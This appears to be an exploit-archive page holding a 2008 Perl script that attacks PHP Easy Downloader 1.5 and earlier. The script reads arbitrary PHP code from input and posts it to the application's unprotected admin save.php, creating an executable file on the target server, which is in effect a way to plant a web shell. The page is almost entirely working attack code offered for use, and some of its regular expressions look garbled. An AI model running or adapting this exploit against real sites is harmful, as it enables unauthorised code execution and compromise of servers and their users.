Home / exploits

PDF

ped-create.txt

Posted on 18 October 2008

#!/usr/bin/perl
# --------------------------------------------------------
# PHP Easy Downloader <= 1.5 Remote File Creation Exploit
# By StAkeR aka athos - StAkeR[at]hotmail[dot]it
# On 17/10/2008
# http://www.hasemithut.de/downloads/index.php
# --------------------------------------------------------

use strict;
use LWP::UserAgent;

my $host = shift(@ARGV);
my $file = shift(@ARGV);
my $http = new LWP::UserAgent;

if($host !~ /^http://(.+?)$/ && $file !~ /(w+).([a-zA-Z])?/)
{
print "[?] PHP Easy Downloader <= 1.5 Remote File Creation Exploit
";
print "[?] Usage: perl $0 http://[host] [filename]
";
exit;
}

chomp(my $code = <STDIN>);

if($code !~ /(<?php|<?#)(.*?)?>/)
{
print "[?] You must insert PHP Code
";
exit;
}

my $post = $http->post($host.'/file_info/admin/save.php',
[
filename    => $file,
accesses    => $code.'//',
]);

if($post->is_success)
{
if($post->as_string =~ /(Upload Date|Change Made!)/i)
{
print "[?] $host/file_info/descriptions/$file.0 Created
";
exit;
}
else
{
print "[?] Exploit Failed!
";
exit;
}
}


__END__

 

TOP